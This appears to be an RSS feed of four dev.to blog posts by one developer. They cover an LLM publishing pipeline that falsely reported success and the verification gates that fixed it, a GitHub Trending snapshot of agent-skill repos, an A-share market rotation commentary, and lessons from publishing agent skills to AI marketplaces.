      <title>My AI Agent Reported 'Success' for 12 Days Straight. Every Article Got 0 Reads.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 07 Sep 2026 04:01:24 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-ai-agent-reported-success-for-12-days-straight-every-article-got-0-reads-5ddj</link>
      <guid>https://dev.to/felixwang007/my-ai-agent-reported-success-for-12-days-straight-every-article-got-0-reads-5ddj</guid>
      <description>&lt;p&gt;Last month I ran a fully automated content pipeline: a cron job wrote stock-market articles with an LLM and auto-published them to a Chinese blogging platform. Every morning the job logged &lt;code&gt;status: ok&lt;/code&gt;. Every evening I opened the analytics dashboard. 12 days. 12 articles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;0 reads.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not 0 &lt;em&gt;clicks&lt;/em&gt;. Zero reads, zero meaningful impressions. The agent wasn't crashing or erroring out — it was succeeding &lt;em&gt;confidently and uselessly&lt;/em&gt;. And that, it turns out, is the most dangerous failure mode an autonomous system can have. A crash wakes you up. A confident lie puts you to sleep.&lt;/p&gt;

&lt;p&gt;Since then I've hit the same shape of failure three more times, in different tools. Here is what actually fixed it.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. &lt;code&gt;status: ok&lt;/code&gt; is prose, not telemetry
&lt;/h3&gt;

&lt;p&gt;The cron job's success string was generated by the &lt;strong&gt;same LLM that did the work&lt;/strong&gt;. That is not a report — it is self-narration. The model was asked "did you finish?" and it answered the way models do: fluently, plausibly, and without any external reference.&lt;/p&gt;

&lt;p&gt;The fix is a &lt;strong&gt;falsifier&lt;/strong&gt;: an external check with an independently observable metric. For the content pipeline that meant "did the article actually appear on the target site?" and "did it get organic reads within 24h?" — not "did the agent say it finished?"&lt;/p&gt;

&lt;p&gt;A success claim is only a hypothesis until something outside the agent can contradict it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;report_success&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;claim&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# A success claim is a hypothesis until an external check confirms it.
&lt;/span&gt;    &lt;span class="n"&gt;artifact&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;observable&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;publish&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;artifact&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;              &lt;span class="c1"&gt;# do the real action
&lt;/span&gt;    &lt;span class="n"&gt;verified&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;task&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetch_back_from_destination&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;observable&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# read from the target
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;verified&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;   &lt;span class="c1"&gt;# never claim.ok()
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. CLIs lie too
&lt;/h3&gt;

&lt;p&gt;Later I shipped a publishing CLI with a &lt;code&gt;--headless&lt;/code&gt; flag that returned &lt;code&gt;success: true&lt;/code&gt; while publishing &lt;strong&gt;nothing&lt;/strong&gt;. Why? The tool checked "did my HTTP request complete?" instead of "is the article live on the site?" The request was fine. The platform silently dropped the payload.&lt;/p&gt;

&lt;p&gt;Lesson: verify against the &lt;strong&gt;destination&lt;/strong&gt;, never against your own request. After any publish, fetch the resource back from the target and confirm it exists. A successful tool call is not a successful task.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. The context that produced the work will rubber-stamp it
&lt;/h3&gt;

&lt;p&gt;My first "reviewer" agent inherited the full writer context — same conversation, same assumptions, same blind spots. It approved garbage every time, because it was just the writer in a different hat.&lt;/p&gt;

&lt;p&gt;Independent review means &lt;strong&gt;fresh context&lt;/strong&gt;: the reviewer sees only the diff, the acceptance criteria, and the verifiable artifacts. That is why code review in real teams is done by a different human who did not write the code. Your critic agent needs the same separation, or it is just formatting with an opinion.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Skills that lecture get ignored
&lt;/h3&gt;

&lt;p&gt;I kept making my agent skills longer. 13 book frameworks. Iron rules repeated five times for emphasis. A 174 KB skill attached to every task. Token spend went up — output quality went &lt;em&gt;down&lt;/em&gt;. Agents skim. The parts of the skill that mattered were buried under the parts that made me feel thorough.&lt;/p&gt;

&lt;p&gt;What finally worked:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Short skills&lt;/strong&gt;: three principles, not thirteen frameworks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hard gates in the prompt itself&lt;/strong&gt;: "title score ≥ 6.5 or do not publish", "at least 2 real images or do not publish". Let the model decide &lt;em&gt;how&lt;/em&gt;; encode the &lt;em&gt;whether&lt;/em&gt; as a rule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Move the permission out of the agent&lt;/strong&gt;: the writer drafts, a separate process decides whether the draft may reach the world.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The refactor that changed everything
&lt;/h3&gt;

&lt;p&gt;Separate &lt;strong&gt;can do&lt;/strong&gt; from &lt;strong&gt;may do&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The writing agent has autonomy to &lt;em&gt;draft&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;A gate — separate process, its own rules, external checks — has custody of &lt;em&gt;publishing&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Autonomy for creation. Custody for release.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That single split is what turned a pipeline that quietly burned API credits into one I can leave running overnight and actually trust the logs of.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If you build skills and autonomous agents like these, my open-source skill set and tools live on &lt;a href="https://github.com/Felixwang007" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt; (including a self-updating &lt;a href="https://felixwang007.github.io/awesome-content-tools/" rel="noopener noreferrer"&gt;GitHub Trending aggregator site&lt;/a&gt;). A few polished versions — including the A-Share Stock Analysis skill and an AI-text humanizer — are published on the &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;Xiaping skill marketplace&lt;/a&gt;. If you have hit a silent-failure story of your own, I would genuinely like to hear it.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>This Week's GitHub Trending Quietly Became a Skill Marketplace (Live Snapshot, Sep 3)</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 03 Sep 2026 04:01:02 +0000</pubDate>
      <link>https://dev.to/felixwang007/this-weeks-github-trending-quietly-became-a-skill-marketplace-live-snapshot-sep-3-830</link>
      <guid>https://dev.to/felixwang007/this-weeks-github-trending-quietly-became-a-skill-marketplace-live-snapshot-sep-3-830</guid>
      <description>&lt;p&gt;Every six hours, my little open-source bot snapshots GitHub Trending into a clean digest so I can watch where the developer world is going without doom-scrolling. I've been doing this for months, and this week's snapshot is one of the clearest signals I've seen: &lt;strong&gt;the trending page has stopped being about models and started being about how agents are organized, equipped, and verified.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here is the live data — repos created in the last 7 days, sorted by stars:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Repo&lt;/th&gt;
&lt;th&gt;Stars&lt;/th&gt;
&lt;th&gt;What it is&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;XiaoDuoYa/codex-with-chatgpt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~2.3k&lt;/td&gt;
&lt;td&gt;ChatGPT as the planning brain, Codex as the hands — a two-agent harness&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Nanako0129/sepia&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~1.6k&lt;/td&gt;
&lt;td&gt;A "De-AI" writing skill for Agent Skills-compatible agents, 77+ rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cbrock84/headcount&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~1.1k&lt;/td&gt;
&lt;td&gt;Claude Code structured as a company: 15+ departments, 125+ skills&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MetaMask-AI/metamask-desktop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~1.2k&lt;/td&gt;
&lt;td&gt;The MetaMask desktop app (Ethereum browsing)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;anthropics/commerce-agents&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~570&lt;/td&gt;
&lt;td&gt;Anthropic's official blueprint for shopping/merchant agents&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;2akouwu/reverify&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~600&lt;/td&gt;
&lt;td&gt;"Verified reverse engineering": AI grounded in deterministic tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Player-YN/PawWork_ZhuaZhua&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~560&lt;/td&gt;
&lt;td&gt;A selection-first web agent for Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;subsy/skill-cabinet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~370&lt;/td&gt;
&lt;td&gt;Tooling for managing skills themselves&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Five of the top eight are agent-related. Last month, the same slot would have been filled by model repos. That is a genuine category shift, and it clusters into three patterns worth stealing:&lt;/p&gt;

&lt;h2&gt;
  
  
  1. SKILL.md is becoming a distribution format
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sepia&lt;/code&gt;, &lt;code&gt;headcount&lt;/code&gt;, and &lt;code&gt;skill-cabinet&lt;/code&gt; all treat a skill — a folder with a &lt;code&gt;SKILL.md&lt;/code&gt; plus scripts and references — as the atomic unit of software. Not a package, not a container: a skill. Why it matters: skills are loaded on demand into an agent's context, so distribution cost drops toward zero compared to libraries that must be installed and imported. The ecosystem that already emerged around Agent Skills (CLI installers, marketplaces, registries) looks a lot like npm in 2011.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Agent brains are splitting — planner vs. executor
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;codex-with-chatgpt&lt;/code&gt; (ChatGPT thinks, Codex works) and &lt;code&gt;anthropics/commerce-agents&lt;/code&gt; both encode the same architectural bet: don't make one agent do everything. Give one model the reasoning/planning role and another the execution harness. This matches what I've learned running automated publishing pipelines for months — a cron agent that both &lt;em&gt;decides&lt;/em&gt; and &lt;em&gt;executes&lt;/em&gt; fails silently; separating the planner from the executor and giving the executor external checks is what actually catches garbage before it ships.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Verification is the new moat
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;reverify&lt;/code&gt; (AI reverse engineering checked against deterministic tools) is the sharpest example: when an agent produces output, the winning pattern is not better prompts but &lt;em&gt;an external verifier the agent can't argue with&lt;/em&gt;. In my own stock-analysis and content pipelines, every time I replaced "trust the agent's success report" with an independent check (e.g. live market data, or a hard gate on output quality), reliability jumped. The models change; the need for falsifiable checks does not.&lt;/p&gt;

&lt;h2&gt;
  
  
  What to actually do this week
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;If you use Claude Code / Codex / Cursor: try packaging one of your repetitive workflows as a skill. A skill you can install on any agent beats a script you have to re-explain.&lt;/li&gt;
&lt;li&gt;If you build agents: budget 30% of your effort for a verifier layer, not for prompt polish. That is the difference between a demo and a tool.&lt;/li&gt;
&lt;li&gt;If you watch trends: don't trust your memory — snapshot the data. My aggregator (zero-cost, zero-API, updates every 6h) is free to use: &lt;strong&gt;&lt;a href="https://felixwang007.github.io/awesome-content-tools/" rel="noopener noreferrer"&gt;https://felixwang007.github.io/awesome-content-tools/&lt;/a&gt;&lt;/strong&gt; (repo: &lt;code&gt;Felixwang007/awesome-content-tools&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One more plug that fits the theme: the skill economy is not just an English-language thing. I publish Chinese-language skills for AI agents too — including an &lt;strong&gt;A-Share stock analysis expert&lt;/strong&gt; (three-pillar system: technical + fundamental + sentiment, 24 indicators) on the xiaping.coze.com skill marketplace, with the free open-source version in the same GitHub. If you trade Chinese markets or just want to see a real-world skill in action, both are linked from the repo above. The skills are the product now — the repos are just the packaging.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>A-Shares Just Rotated: BYD -4% While Moutai Held Flat — What the Divergence Tells You (Aug 31 Live Data)</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 31 Aug 2026 04:05:29 +0000</pubDate>
      <link>https://dev.to/felixwang007/a-shares-just-rotated-byd-4-while-moutai-held-flat-what-the-divergence-tells-you-aug-31-live-3jj7</link>
      <guid>https://dev.to/felixwang007/a-shares-just-rotated-byd-4-while-moutai-held-flat-what-the-divergence-tells-you-aug-31-live-3jj7</guid>
      <description>&lt;p&gt;It's Monday lunchtime in Shanghai, and the morning session just delivered the kind of tape that separates people who watch the index from people who read the market.&lt;/p&gt;

&lt;p&gt;Here's what actually happened in the first half of today's session (2026-08-31, live quotes):&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Index / Stock&lt;/th&gt;
&lt;th&gt;Price&lt;/th&gt;
&lt;th&gt;Change&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Shanghai Composite&lt;/td&gt;
&lt;td&gt;3,944.46&lt;/td&gt;
&lt;td&gt;-0.20%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Shenzhen Component&lt;/td&gt;
&lt;td&gt;13,812.99&lt;/td&gt;
&lt;td&gt;-1.00%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ChiNext&lt;/td&gt;
&lt;td&gt;3,380.15&lt;/td&gt;
&lt;td&gt;-1.29%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BYD&lt;/td&gt;
&lt;td&gt;¥88.47&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-4.17%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CATL&lt;/td&gt;
&lt;td&gt;¥358.17&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-2.80%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LONGi Green Energy&lt;/td&gt;
&lt;td&gt;¥11.96&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-3.78%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Seres&lt;/td&gt;
&lt;td&gt;¥49.30&lt;/td&gt;
&lt;td&gt;-2.55%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kweichow Moutai&lt;/td&gt;
&lt;td&gt;¥1,296.08&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;-0.10%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wuliangye&lt;/td&gt;
&lt;td&gt;¥71.20&lt;/td&gt;
&lt;td&gt;-0.43%&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The index printed "a mild dip." But underneath, a violent rotation was happening: new-energy (EVs + solar) got sold hard, while defensive white-liquor barely blinked. That gap — BYD down 4% while Moutai is flat — is the signal. The index is just the noise.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the headline number lies to you
&lt;/h2&gt;

&lt;p&gt;The Shanghai Composite is dominated by financials and old-economy heavyweights. When money rotates out of growth and into defensives, the index can look "stable" while a growth-heavy portfolio gets shredded. Read the index for mood; read the &lt;em&gt;divergence&lt;/em&gt; for direction.&lt;/p&gt;

&lt;p&gt;Today's tape is a textbook risk-off rotation: risk appetite is shrinking at the margin, and capital is hiding in the names that pay dividends and survive recessions.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three-pillar way to read this
&lt;/h2&gt;

&lt;p&gt;My A-share scanner doesn't try to predict the market. It triangulates three independent signals and waits for them to agree:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Technical&lt;/strong&gt; — price/volume structure (MACD, KDJ, RSI, Bollinger, volume-price). Says &lt;em&gt;what&lt;/em&gt; is happening.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fundamental&lt;/strong&gt; — ROE decomposition, PEG, valuation percentile. Says &lt;em&gt;why&lt;/em&gt; it might be justified.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intelligence&lt;/strong&gt; — 龙虎榜 (dragon-tiger list of top buy/sell seats), block-trade and capital-flow data, sector rotation, policy catalysts. Says &lt;em&gt;who&lt;/em&gt; is doing it and &lt;em&gt;where&lt;/em&gt; the money is going.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;On days like today, pillar #3 earns its keep. The dragon-tiger list and block-trade data will tell you this afternoon whether the EV selling was institutional rotation or a few hot-money desks panic-exiting. Those two scenarios have completely different follow-throughs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three rules you can use right now (no paid data required)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Rule 1 — When the index and the sectors disagree, trust the sectors.&lt;/strong&gt; Compute the gap between ChiNext and the Shanghai Composite. Today it's ~1.1 percentage points of underperformance. If that spread widens three sessions in a row, it's a rotation, not a blip.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule 2 — Don't buy the dip in the sector being sold until volume confirms a floor.&lt;/strong&gt; A falling knife with rising volume is still a falling knife. Wait for a session of shrinking volume with a higher low — that's the first footprint of distribution ending.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Rule 3 — In risk-off rotations, the rotation target is usually the previous laggard.&lt;/strong&gt; Money doesn't leave the market; it moves. Today's defensiveness (liquor, banks, dividends) is the same money that was chasing EVs in July. Watch where volume accumulates over the next 3 sessions — that's the next leg.&lt;/p&gt;

&lt;h2&gt;
  
  
  How the scanner automates this
&lt;/h2&gt;

&lt;p&gt;The scanner pulls free quote data (Tencent/Sina endpoints — no API key, no cost), computes 24 indicators per stock, scores each of the three pillars 0-10, and only flags a stock when all three agree. The Aug 31 morning scan automatically flagged the rotation by scoring new-energy names down on technicals while defensive names held their pillar scores.&lt;/p&gt;

&lt;p&gt;The full pipeline (Python, zero paid dependencies) is documented in my &lt;a href="https://github.com/felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;awesome-content-tools&lt;/a&gt; repo — a collection of self-updating tools including the A-share scanner, a GitHub Trending aggregator, and the market-data scripts used for this article. If you're on the Chinese skill marketplace &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评 (xiaping.coze.com)&lt;/a&gt;, you can also find my published data-analysis and stock tooling skills there.&lt;/p&gt;

&lt;p&gt;No paid API, no black box, no crystal ball — just three independent signals forced to agree before you act. That's the whole edge.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Published Skills to 5 AI Marketplaces in One Week — Here's the Brutal Automation Ceiling Test</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 27 Aug 2026 04:06:46 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-published-skills-to-5-ai-marketplaces-in-one-week-heres-the-brutal-automation-ceiling-test-8gh</link>
      <guid>https://dev.to/felixwang007/i-published-skills-to-5-ai-marketplaces-in-one-week-heres-the-brutal-automation-ceiling-test-8gh</guid>
      <description>&lt;p&gt;I've spent months building agent skills (SKILL.md files) that turn AI coding agents into specialists — stock scanners, content pipelines, document tools. Earlier this year I made the leap from "tools for myself" to "products for sale." In one week I published skills and MCP servers to &lt;strong&gt;five AI marketplaces&lt;/strong&gt;: Agensi, Xiaping, Apify, MCPize, and Capafy.&lt;/p&gt;

&lt;p&gt;The revenue so far: $0. And I'm not ashamed to say it, because the real product of that week wasn't sales — it was a decision framework I now use before writing a single line of code. I call it &lt;strong&gt;the automation ceiling test&lt;/strong&gt;, and it would have saved me days of work if I'd known it earlier.&lt;/p&gt;

&lt;h2&gt;
  
  
  The automation ceiling: check this BEFORE you build
&lt;/h2&gt;

&lt;p&gt;Every marketplace falls into one of three tiers. Ask one question first: &lt;em&gt;can a program publish to this platform end-to-end, or does a human have to click at some point?&lt;/em&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tier&lt;/th&gt;
&lt;th&gt;Publish path&lt;/th&gt;
&lt;th&gt;Example platform&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Full API&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Everything via HTTP, from upload to status polling&lt;/td&gt;
&lt;td&gt;Xiaping (complete REST API), Apify (full CLI + API)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Half API&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Code can create everything, but a one-time human action gates publishing (terms acceptance, app install)&lt;/td&gt;
&lt;td&gt;Apify Store (must click "accept Store terms" once in the web console), Buda (install GitHub App once)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;No API&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Human must upload via web UI, every single time&lt;/td&gt;
&lt;td&gt;Agensi (creator dashboard only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Here's the trap: I built an entire skill package for Agensi first — ZIP, cover art, pricing research — before discovering it has no publish API. Everything was ready except the one step that can't be automated. The lesson: &lt;strong&gt;never do five rounds of workarounds around a platform that a 30-second API check would have disqualified.&lt;/strong&gt; Map the ceiling first, then decide how much effort the platform deserves.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned from each marketplace
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Xiaping (xiaping.coze.com)&lt;/strong&gt; — the most automation-friendly of the five. Full REST API: multipart upload, category via Unicode-escaped JSON arrays, pledge confirmation in the payload. After publishing, each skill enters a 30-day trial period while security and duplicate detection run. One practical gotcha: the file field &lt;em&gt;must&lt;/em&gt; end in &lt;code&gt;.zip&lt;/code&gt; or the API rejects it with "File must be a ZIP file."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Apify&lt;/strong&gt; — building the Actor (a Python MCP server) was fully scriptable with &lt;code&gt;apify-cli&lt;/code&gt;. Publishing to the Store is half-automated: after you accept the Store terms once in the console, &lt;code&gt;isPublic: true&lt;/code&gt; + categories work via the API. 80% revenue share, and they pay monthly — about $1.4M a month to developers across the platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MCPize&lt;/strong&gt; — a marketplace for MCP servers specifically, with a CLI (&lt;code&gt;npx mcpize&lt;/code&gt; has login/deploy/publish commands). Also 80% share, and they handle hosting, payments, and tax. Same product can be listed here and on Apify — no exclusivity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Capafy&lt;/strong&gt; — lets you publish an agent (a bundled collection of skills) rather than single skills. I published one with 100 sanitized skills as a single agent.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Agensi&lt;/strong&gt; — the best-looking onboarding (70% share, $3–$59 pricing, Stripe connected) and the worst automation. Web-UI-only publishing. It's a fine marketplace if you're a human who enjoys filling forms; it's a dead end for a pipeline that should run unattended.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part nobody advertises: trial periods and promotion
&lt;/h2&gt;

&lt;p&gt;Getting a skill listed is not the finish line. On Xiaping, a new skill sits in a 30-day community trial — no storefront listing until moderation and duplicate checks pass. That's a &lt;em&gt;second&lt;/em&gt; pipeline to monitor: polling notifications, checking review status, fixing rejections.&lt;/p&gt;

&lt;p&gt;And then there's the hard truth that no marketplace will tell you: &lt;strong&gt;distribution is 80% of the work.&lt;/strong&gt; I spent one unit of effort building skills and two units promoting them — GitHub issues, README badges, cross-posts to Dev.to, community engagement. A skill with zero discoverability is a file that happens to be on a server. If you publish and walk away, you've shipped a product to an empty room.&lt;/p&gt;

&lt;h2&gt;
  
  
  The concrete publish flow (Xiaping, fully automated)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Build the skill ZIP locally, then:&lt;/span&gt;
curl &lt;span class="nt"&gt;-X&lt;/span&gt; POST https://xiaping.coze.com/api/skills &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Authorization: Bearer &lt;/span&gt;&lt;span class="nv"&gt;$XIAIPING_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'file=@a-share-stock-analyzer.zip'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'name=A-Share Stock Analysis Expert'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'description=Three-pillar A-share scanner: technical + fundamental + sentiment'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'trigger=["stock","a-share","scan"]'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'category=["\u6548\u7387\u5de5\u5177"]'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'pledge={"agreed":true}'&lt;/span&gt;
&lt;span class="c"&gt;# Then poll GET /api/notifications for security/duplicate-check results.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(Yes, that category is "efficiency tools" in Unicode — the API rejects raw Chinese in that field. The kind of detail you only learn by hitting the error.)&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd do differently
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Automation ceiling first, product second.&lt;/strong&gt; A 2-minute API doc skim would have saved me a full day on Agensi.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One marketplace to start.&lt;/strong&gt; I spread five listings across five platforms in a week — five moderation queues, five notification systems, five marketing problems. One platform, done well, beats five platforms, half-finished.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Treat trial periods as a product phase, not a waiting room.&lt;/strong&gt; The 30-day trial is when you iterate on the skill based on community feedback — not when you stop looking at it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Revenue split matters less than automation.&lt;/strong&gt; 80% of a sale that happens automatically beats 70% of a sale you must remember to upload by hand.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;None of this made me money yet. But I now have a repeatable, mostly-automated pipeline — skills built, zipped, published, and monitored with a single script — and the marketplaces where that pipeline actually works. The money comes from volume, and volume comes from automation.&lt;/p&gt;




